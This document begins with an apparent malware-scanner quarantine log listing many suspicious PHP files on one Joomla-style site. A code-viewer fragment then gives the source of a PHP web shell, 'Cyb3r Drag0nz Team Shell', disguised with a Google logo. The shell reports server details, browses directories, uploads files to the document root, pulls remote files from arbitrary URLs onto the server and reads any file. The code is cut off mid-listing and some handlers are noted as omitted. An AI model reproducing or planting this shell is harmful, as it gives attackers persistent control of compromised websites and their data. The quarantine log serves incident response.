9ccb96f418
vhost: www.archlinexp.eu rel_path: 50nnp2o4xt.php.json result: quarantined evidence_sha256: ad4e4ea904d90384d07ccb43d3f371bb03a5a647a997b991aeb4a8df6bc6dfe1 timestamp: 20260718T160204Z finding_ref: 7166 vhost: www.archlinexp.eu rel_path: _h3x_672ba9cf.php.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4848 vhost: www.archlinexp.eu rel_path: administrator/cache/c_03e0fd55.php.json result: quarantined evidence_sha256: 65fb4317f685e623919513c4acd4adc25b75abfa7894caa022160557b6c90c2d timestamp: 20260718T160204Z finding_ref: 5110 vhost: www.archlinexp.eu rel_path: administrator/cache/c_7f0b46f9.php.json result: quarantined evidence_sha256: 602561117be70a84596af361bdf6b0b623d1144688e46ebec3495df04c7d03b8 timestamp: 20260718T160204Z finding_ref: 5114 vhost: www.archlinexp.eu rel_path: administrator/cache/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5115 vhost: www.archlinexp.eu rel_path: administrator/components/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5117 vhost: www.archlinexp.eu rel_path: administrator/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5099 vhost: www.archlinexp.eu rel_path: administrator/index.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5100 vhost: www.archlinexp.eu rel_path: administrator/ko6h7s5e9kak.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5104 vhost: www.archlinexp.eu rel_path: administrator/language/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5116 vhost: www.archlinexp.eu rel_path: administrator/templates/hathor/index.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5106 vhost: www.archlinexp.eu rel_path: administrator/templates/isis/index.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5108 vhost: www.archlinexp.eu rel_path: administrator/yhajxaav.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5103 vhost: www.archlinexp.eu rel_path: bexkn.php.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160204Z finding_ref: 4916 vhost: www.archlinexp.eu rel_path: c_03e0fd55.php.json result: quarantined evidence_sha256: 65fb4317f685e623919513c4acd4adc25b75abfa7894caa022160557b6c90c2d timestamp: 20260718T160204Z finding_ref: 4838 vhost: www.archlinexp.eu rel_path: c_7f0b46f9.php.json result: quarantined evidence_sha256: 602561117be70a84596af361bdf6b0b623d1144688e46ebec3495df04c7d03b8 timestamp: 20260718T160204Z finding_ref: 4865 vhost: www.archlinexp.eu rel_path: cache/c_03e0fd55.php.json result: quarantined evidence_sha256: 65fb4317f685e623919513c4acd4adc25b75abfa7894caa022160557b6c90c2d timestamp: 20260718T160204Z finding_ref: 5015 vhost: www.archlinexp.eu rel_path: cache/c_7f0b46f9.php.json result: quarantined evidence_sha256: 602561117be70a84596af361bdf6b0b623d1144688e46ebec3495df04c7d03b8 timestamp: 20260718T160204Z finding_ref: 5022 vhost: www.archlinexp.eu rel_path: cache/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5023 vhost: www.archlinexp.eu rel_path: cache/yhajxaav.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5025 vhost: www.archlinexp.eu rel_path: cbdjs.json result: quarantined evidence_sha256: 43c4c299ad5f46e41bc68ab64344acb9d0ee7b1b7344fa284a0570c92a96bd1a timestamp: 20260718T160204Z finding_ref: 4899 vhost: www.archlinexp.eu rel_path: components/com_content/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5293 vhost: www.archlinexp.eu rel_path: components/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5292 vhost: www.archlinexp.eu rel_path: cyberdjs.json result: quarantined evidence_sha256: 43c4c299ad5f46e41bc68ab64344acb9d0ee7b1b7344fa284a0570c92a96bd1a timestamp: 20260718T160204Z finding_ref: 4853 vhost: www.archlinexp.eu rel_path: f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4867 vhost: www.archlinexp.eu rel_path: f46vc3nzn1qw.php5.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4845 vhost: www.archlinexp.eu rel_path: f46vc3nzn1qw.php7.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4918 vhost: www.archlinexp.eu rel_path: f46vc3nzn1qw.phtml.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4887 vhost: www.archlinexp.eu rel_path: friska.php.json result: quarantined evidence_sha256: 80d56ff0d995aa16fc2c15e50ea9826d945ce6d52659a46f55e2692a5cac3d0d timestamp: 20260718T160204Z finding_ref: 4898 vhost: www.archlinexp.eu rel_path: images/50nnp2o4xt.php.json result: quarantined evidence_sha256: ad4e4ea904d90384d07ccb43d3f371bb03a5a647a997b991aeb4a8df6bc6dfe1 timestamp: 20260718T160204Z finding_ref: 7195 vhost: www.archlinexp.eu rel_path: images/6iyo68ipsz.php.json result: quarantined evidence_sha256: b3cedb62555690bf309116f07bc6fd9beb53f3f58fd3e5fb1102636b084e5b50 timestamp: 20260718T160204Z finding_ref: 5211 vhost: www.archlinexp.eu rel_path: images/backup.f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5165 vhost: www.archlinexp.eu rel_path: images/c_03e0fd55.php.json result: quarantined evidence_sha256: 65fb4317f685e623919513c4acd4adc25b75abfa7894caa022160557b6c90c2d timestamp: 20260718T160204Z finding_ref: 5147 vhost: www.archlinexp.eu rel_path: images/c_7f0b46f9.php.json result: quarantined evidence_sha256: 602561117be70a84596af361bdf6b0b623d1144688e46ebec3495df04c7d03b8 timestamp: 20260718T160204Z finding_ref: 5164 vhost: www.archlinexp.eu rel_path: images/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5167 vhost: www.archlinexp.eu rel_path: images/ko6h7s5e9kak.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5200 vhost: www.archlinexp.eu rel_path: images/ko6h7s5e9kak.phtml.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5174 vhost: www.archlinexp.eu rel_path: images/temp.f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5180 vhost: www.archlinexp.eu rel_path: images/yhajxaav.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5193 vhost: www.archlinexp.eu rel_path: joth73.json result: quarantined evidence_sha256: 37153723135d788d7dfa2c8b35a804a39a41c6ad26c4cc263c7e939dc54f1169 timestamp: 20260718T160204Z finding_ref: 4901 vhost: www.archlinexp.eu rel_path: ko6h7s5e9kak.phar.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4879 vhost: www.archlinexp.eu rel_path: ko6h7s5e9kak.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4925 vhost: www.archlinexp.eu rel_path: ko6h7s5e9kak.php5.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4905 vhost: www.archlinexp.eu rel_path: ko6h7s5e9kak.php7.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4849 vhost: www.archlinexp.eu rel_path: ko6h7s5e9kak.phtml.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4877 vhost: www.archlinexp.eu rel_path: language/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5214 vhost: www.archlinexp.eu rel_path: logs/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5305 vhost: www.archlinexp.eu rel_path: logs/yhajxaav.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5307 vhost: www.archlinexp.eu rel_path: media/50nnp2o4xt.php.json result: quarantined evidence_sha256: ad4e4ea904d90384d07ccb43d3f371bb03a5a647a997b991aeb4a8df6bc6dfe1 timestamp: 20260718T160204Z finding_ref: 7191 vhost: www.archlinexp.eu rel_path: media/c_03e0fd55.php.json result: quarantined evidence_sha256: 65fb4317f685e623919513c4acd4adc25b75abfa7894caa022160557b6c90c2d timestamp: 20260718T160204Z finding_ref: 4984 vhost: www.archlinexp.eu rel_path: media/c_7f0b46f9.php.json result: quarantined evidence_sha256: 602561117be70a84596af361bdf6b0b623d1144688e46ebec3495df04c7d03b8 timestamp: 20260718T160204Z finding_ref: 4991 vhost: www.archlinexp.eu rel_path: media/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4992 vhost: www.archlinexp.eu rel_path: media/ko6h7s5e9kak.phtml.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4994 vhost: www.archlinexp.eu rel_path: media/yhajxaav.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4997 vhost: www.archlinexp.eu rel_path: modules/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5283 vhost: www.archlinexp.eu rel_path: modules/mod_custom/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5284 vhost: www.archlinexp.eu rel_path: templates/50nnp2o4xt.php.json result: quarantined evidence_sha256: ad4e4ea904d90384d07ccb43d3f371bb03a5a647a997b991aeb4a8df6bc6dfe1 timestamp: 20260718T160204Z finding_ref: 7182 vhost: www.archlinexp.eu rel_path: templates/_h3x_672ba9cf.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4949 vhost: www.archlinexp.eu rel_path: templates/_h3x_672ba9cf.php.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4948 vhost: www.archlinexp.eu rel_path: templates/beez3/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4981 vhost: www.archlinexp.eu rel_path: templates/beez3/index.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4982 vhost: www.archlinexp.eu rel_path: templates/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4952 vhost: www.archlinexp.eu rel_path: templates/protostar/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4974 vhost: www.archlinexp.eu rel_path: templates/protostar/index.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4975 vhost: www.archlinexp.eu rel_path: templates/shaper_helix3/layout/uploader_8kykulyz.php.json.json result: quarantined evidence_sha256: 23f19d3197130f4dd0420a9c51bcb774da4e341c25a7e7033733ba3eb7a4f5b0 timestamp: 20260718T160204Z finding_ref: 4978 vhost: www.archlinexp.eu rel_path: templates/shaper_helix3/layout/uploader_g1jujsa9.php.json.json result: quarantined evidence_sha256: 70eb6bc75669692e1867abe510b7087827fc771ce798ef11aee8d1c0a672c08f timestamp: 20260718T160204Z finding_ref: 4980 vhost: www.archlinexp.eu rel_path: templates/shaper_helix3/layout/uploader_q1z4oez8.php.json.json result: quarantined evidence_sha256: 4c152a15582dde517989ca452df133a2308eeb4410eba39d7bf8d9f278db0a0b timestamp: 20260718T160204Z finding_ref: 4977 vhost: www.archlinexp.eu rel_path: templates/shaper_helix3/layout/uploader_uwqytc5i.php.json.json result: quarantined evidence_sha256: f0cdeea8d9cf8d5eaea2db8c3d42a9a1a475bacadee1bbf47bb5c1cf91233991 timestamp: 20260718T160204Z finding_ref: 4979 vhost: www.archlinexp.eu rel_path: templates/shaper_helixultimate/50nnp2o4xt.php.json result: quarantined evidence_sha256: ad4e4ea904d90384d07ccb43d3f371bb03a5a647a997b991aeb4a8df6bc6dfe1 timestamp: 20260718T160204Z finding_ref: 7188 vhost: www.archlinexp.eu rel_path: templates/shaper_helixultimate/_h3x_672ba9cf.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4966 vhost: www.archlinexp.eu rel_path: templates/shaper_helixultimate/_h3x_672ba9cf.phar.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4964 vhost: www.archlinexp.eu rel_path: templates/shaper_helixultimate/_h3x_672ba9cf.php.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4965 vhost: www.archlinexp.eu rel_path: templates/shaper_helixultimate/_h3x_672ba9cf.php5.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4961 vhost: www.archlinexp.eu rel_path: templates/shaper_helixultimate/_h3x_672ba9cf.phtml.json result: quarantined evidence_sha256: 472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a timestamp: 20260718T160204Z finding_ref: 4972 vhost: www.archlinexp.eu rel_path: tmp/c_03e0fd55.php.json result: quarantined evidence_sha256: 65fb4317f685e623919513c4acd4adc25b75abfa7894caa022160557b6c90c2d timestamp: 20260718T160204Z finding_ref: 5216 vhost: www.archlinexp.eu rel_path: tmp/c_7f0b46f9.php.json result: quarantined evidence_sha256: 602561117be70a84596af361bdf6b0b623d1144688e46ebec3495df04c7d03b8 timestamp: 20260718T160204Z finding_ref: 5223 vhost: www.archlinexp.eu rel_path: tmp/f46vc3nzn1qw.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5224 vhost: www.archlinexp.eu rel_path: tmp/wirrd.php.json result: quarantined evidence_sha256: a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb timestamp: 20260718T160204Z finding_ref: 5226 vhost: www.archlinexp.eu rel_path: tmp/yhajxaav.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 5227 vhost: www.archlinexp.eu rel_path: uploader.json result: quarantined evidence_sha256: c5010f46b3a71c000b5499d6619b3f42605eeafab2c571a50cf0eef31cb67ff7 timestamp: 20260718T160204Z finding_ref: 4941 vhost: www.archlinexp.eu rel_path: vile.php.json result: quarantined evidence_sha256: 3e8674589c9a7ef3023d4ee162625c603a123d1aa79b09dc9f9b3f0a4e9c279e timestamp: 20260718T160204Z finding_ref: 4937 vhost: www.archlinexp.eu rel_path: wp-blog.php.json result: quarantined evidence_sha256: 11777d2b150bc992e7445519b47ab6eb4bcc9fb490a3a771b6a0709bd805f565 timestamp: 20260718T160204Z finding_ref: 4888 vhost: www.archlinexp.eu rel_path: wp-blog.php.json.json result: quarantined evidence_sha256: 11777d2b150bc992e7445519b47ab6eb4bcc9fb490a3a771b6a0709bd805f565 timestamp: 20260718T160204Z finding_ref: 4874 vhost: www.archlinexp.eu rel_path: yetixx.json result: quarantined evidence_sha256: 4dd9dec92b40075e710ac0864e0a099d9914df74d50ad1c740d7d3228a601426 timestamp: 20260718T160204Z finding_ref: 4839 vhost: www.archlinexp.eu rel_path: yhajxaav.php%00.jpg.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4929 vhost: www.archlinexp.eu rel_path: yhajxaav.php%00.txt.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4872 vhost: www.archlinexp.eu rel_path: yhajxaav.php.bak.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4940 vhost: www.archlinexp.eu rel_path: yhajxaav.php.jpg.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4834 vhost: www.archlinexp.eu rel_path: yhajxaav.php.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4911 vhost: www.archlinexp.eu rel_path: yhajxaav.php.txt.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4932 vhost: www.archlinexp.eu rel_path: yhajxaav.php4.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4875 vhost: www.archlinexp.eu rel_path: yhajxaav.php5.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4850 vhost: www.archlinexp.eu rel_path: yhajxaav.phtml.json result: quarantined evidence_sha256: f8434101acb434c1d6e61719fae10373a892218c4ed922e2b980cf8f3dc9f6c0 timestamp: 20260718T160204Z finding_ref: 4944
321 lines
10 KiB
JSON
321 lines
10 KiB
JSON
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<title>Cyb3r Drag0nz Team Shell</title>
|
|
<meta charset="utf-8">
|
|
<style>
|
|
@import url('https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap');
|
|
|
|
body {
|
|
font-family: 'Roboto', system-ui, sans-serif;
|
|
background: #f8f9fa;
|
|
color: #202124;
|
|
margin: 0;
|
|
padding: 20px;
|
|
}
|
|
|
|
.header {
|
|
text-align: center;
|
|
margin-bottom: 30px;
|
|
}
|
|
|
|
.header h1 {
|
|
font-size: 28px;
|
|
color: #1a73e8;
|
|
margin: 10px 0 5px 0;
|
|
font-weight: 500;
|
|
}
|
|
|
|
.header img {
|
|
max-width: 420px;
|
|
margin: 15px 0 25px 0;
|
|
border-radius: 8px;
|
|
box-shadow: 0 4px 15px rgba(0,0,0,0.12);
|
|
}
|
|
|
|
.info {
|
|
background: #fff;
|
|
border-radius: 12px;
|
|
padding: 20px;
|
|
box-shadow: 0 1px 3px rgba(0,0,0,0.1);
|
|
margin-bottom: 25px;
|
|
font-size: 14.5px;
|
|
line-height: 1.6;
|
|
}
|
|
|
|
.info span {
|
|
color: #1a73e8;
|
|
font-weight: 500;
|
|
}
|
|
|
|
table {
|
|
width: 100%;
|
|
max-width: 1100px;
|
|
margin: 0 auto;
|
|
border-collapse: collapse;
|
|
background: #fff;
|
|
border-radius: 12px;
|
|
overflow: hidden;
|
|
box-shadow: 0 2px 8px rgba(0,0,0,0.08);
|
|
}
|
|
|
|
th {
|
|
background: #1a73e8;
|
|
color: white;
|
|
padding: 16px 12px;
|
|
text-align: center;
|
|
font-weight: 500;
|
|
}
|
|
|
|
td {
|
|
padding: 13px 10px;
|
|
border-bottom: 1px solid #dadce0;
|
|
}
|
|
|
|
tr:hover {
|
|
background-color: #f8f9fa;
|
|
}
|
|
|
|
a {
|
|
color: #1a73e8;
|
|
text-decoration: none;
|
|
}
|
|
|
|
a:hover {
|
|
text-decoration: underline;
|
|
}
|
|
|
|
.upload-box {
|
|
background: #fff;
|
|
border-radius: 12px;
|
|
padding: 25px;
|
|
box-shadow: 0 1px 3px rgba(0,0,0,0.1);
|
|
margin: 20px auto;
|
|
max-width: 720px;
|
|
}
|
|
|
|
input[type="file"], input[type="text"] {
|
|
padding: 10px 12px;
|
|
border: 1px solid #dadce0;
|
|
border-radius: 8px;
|
|
font-size: 14px;
|
|
}
|
|
|
|
input[type="submit"], .gas {
|
|
background: #1a73e8;
|
|
color: white;
|
|
border: none;
|
|
padding: 10px 22px;
|
|
border-radius: 8px;
|
|
cursor: pointer;
|
|
font-weight: 500;
|
|
margin-left: 8px;
|
|
}
|
|
|
|
input[type="submit"]:hover, .gas:hover {
|
|
background: #1557b0;
|
|
}
|
|
|
|
.green { color: #137333; font-weight: 500; }
|
|
.red { color: #c5221f; font-weight: 500; }
|
|
|
|
.center { text-align: center; }
|
|
</style>
|
|
</head>
|
|
<body>
|
|
|
|
<div class="header">
|
|
<img src="https://pngimg.com/d/google_PNG102344.png" width="420" alt="Google" />
|
|
<h1>Cyb3r Drag0nz Team Shell</h1>
|
|
</div>
|
|
|
|
<?php
|
|
set_time_limit(0);
|
|
error_reporting(0);
|
|
|
|
$disfunc = @ini_get("disable_functions");
|
|
$disf = empty($disfunc) ? "<span class='green'>NONE</span>" : "<span class='red'>".$disfunc."</span>";
|
|
|
|
function author() {
|
|
echo "<center><br><small style='color:#5f6368;'>Cyb3r Drag0nz Team • Google Edition</small></center>";
|
|
exit();
|
|
}
|
|
|
|
function cekdir() {
|
|
$lokasi = isset($_GET['path']) ? $_GET['path'] : getcwd();
|
|
return is_writable($lokasi) ? "<span class='green'>Writeable</span>" : "<span class='red'>Not Writeable</span>";
|
|
}
|
|
|
|
function cekroot() {
|
|
return is_writable($_SERVER['DOCUMENT_ROOT']) ? "<span class='green'>Writeable</span>" : "<span class='red'>Not Writeable</span>";
|
|
}
|
|
|
|
function xrmdir($dir) {
|
|
$items = scandir($dir);
|
|
foreach ($items as $item) {
|
|
if ($item === '.' || $item === '..') continue;
|
|
$path = $dir.'/'.$item;
|
|
is_dir($path) ? xrmdir($path) : unlink($path);
|
|
}
|
|
rmdir($dir);
|
|
}
|
|
|
|
function green($text) { echo "<center><span class='green'>".$text."</span></center>"; }
|
|
function red($text) { echo "<center><span class='red'>".$text."</span></center>"; }
|
|
|
|
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
|
|
$path = str_replace('\\','/',$path);
|
|
$dirs = explode('/',$path);
|
|
?>
|
|
|
|
<div class="info">
|
|
Server : <span><?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE']); ?></span><br>
|
|
System : <span><?php echo htmlspecialchars(php_uname()); ?></span><br>
|
|
User : <span><?php echo htmlspecialchars(@get_current_user()." (".@getmyuid().")"); ?></span><br>
|
|
PHP Version : <span><?php echo htmlspecialchars(phpversion()); ?></span><br>
|
|
Disable Functions : <?php echo $disf; ?><br>
|
|
Current Directory : <span><?php
|
|
foreach($dirs as $i => $dir) {
|
|
if($dir == '' && $i == 0) { echo '<a href="?path=/">/</a>'; continue; }
|
|
if($dir == '') continue;
|
|
echo '<a href="?path=';
|
|
for($j=0; $j<=$i; $j++) echo $dirs[$j].($j < $i ? '/' : '');
|
|
echo '">'.$dir.'</a>/';
|
|
}
|
|
?></span><br>
|
|
Directory Status: <?php echo cekdir(); ?> | Document Root: <?php echo cekroot(); ?>
|
|
</div>
|
|
|
|
<!-- Upload Section -->
|
|
<div class="upload-box">
|
|
<h3 style="margin:0 0 18px 0; color:#202124;">Upload File</h3>
|
|
<form enctype="multipart/form-data" method="post">
|
|
<label><input type="radio" name="dirnya" value="1" checked> Current Directory [ <?php echo cekdir(); ?> ]</label><br><br>
|
|
<label><input type="radio" name="dirnya" value="2"> Document Root [ <?php echo cekroot(); ?> ]</label><br><br>
|
|
|
|
<input type="hidden" name="upwkwk" value="1">
|
|
<input type="file" name="berkas">
|
|
<input type="submit" name="berkasnya" value="Upload File">
|
|
|
|
<br><br>
|
|
|
|
<input type="text" name="darilink" placeholder="https://example.com/file.zip" style="width:58%;">
|
|
<input type="text" name="namalink" placeholder="filename.zip" size="18">
|
|
<input type="submit" name="linknya" value="Upload from URL">
|
|
</form>
|
|
</div>
|
|
|
|
<?php
|
|
// Upload handling
|
|
if (isset($_POST['upwkwk'])) {
|
|
$lokasi = ($_POST['dirnya'] == "2") ? $_SERVER['DOCUMENT_ROOT'] : $path;
|
|
|
|
if (isset($_POST['berkasnya']) && !empty($_FILES['berkas']['name'])) {
|
|
$target = $lokasi . "/" . $_FILES['berkas']['name'];
|
|
if (move_uploaded_file($_FILES['berkas']['tmp_name'], $target)) {
|
|
green("File uploaded successfully → <b>" . htmlspecialchars($target) . "</b>");
|
|
} else {
|
|
red("Failed to upload file!");
|
|
}
|
|
}
|
|
elseif (isset($_POST['linknya']) && !empty($_POST['darilink']) && !empty($_POST['namalink'])) {
|
|
$target = $lokasi . "/" . $_POST['namalink'];
|
|
$data = @file_put_contents($target, @file_get_contents($_POST['darilink']));
|
|
if ($data !== false) {
|
|
green("File uploaded from URL → <b>" . htmlspecialchars($target) . "</b>");
|
|
} else {
|
|
red("Failed to upload from URL!");
|
|
}
|
|
}
|
|
}
|
|
|
|
// File viewer, delete, chmod, rename, edit actions (kept your original logic)
|
|
if (isset($_GET['fileloc'])) {
|
|
echo "<h3 style='text-align:center;'>Viewing: " . htmlspecialchars($_GET['fileloc']) . "</h3>";
|
|
echo "<pre>" . htmlspecialchars(@file_get_contents($_GET['fileloc'])) . "</pre>";
|
|
author();
|
|
}
|
|
|
|
// ... (your other action handlers for hapus, ubahmod, gantinama, edit go here - same as before)
|
|
|
|
// Directory & File listing table (same structure as previous version)
|
|
echo '<table>
|
|
<tr>
|
|
<th>Name</th>
|
|
<th>Size</th>
|
|
<th>Permissions</th>
|
|
<th>Options</th>
|
|
</tr>';
|
|
|
|
foreach(scandir($path) as $dir) {
|
|
if(!is_dir($path."/".$dir) || $dir == '.' || $dir == '..') continue;
|
|
echo "<tr>
|
|
<td><a href=\"?path=".$path."/".$dir."\">📁 ".$dir."</a></td>
|
|
<td class='center'>--</td>
|
|
<td class='center'>".statusnya($path."/".$dir)."</td>
|
|
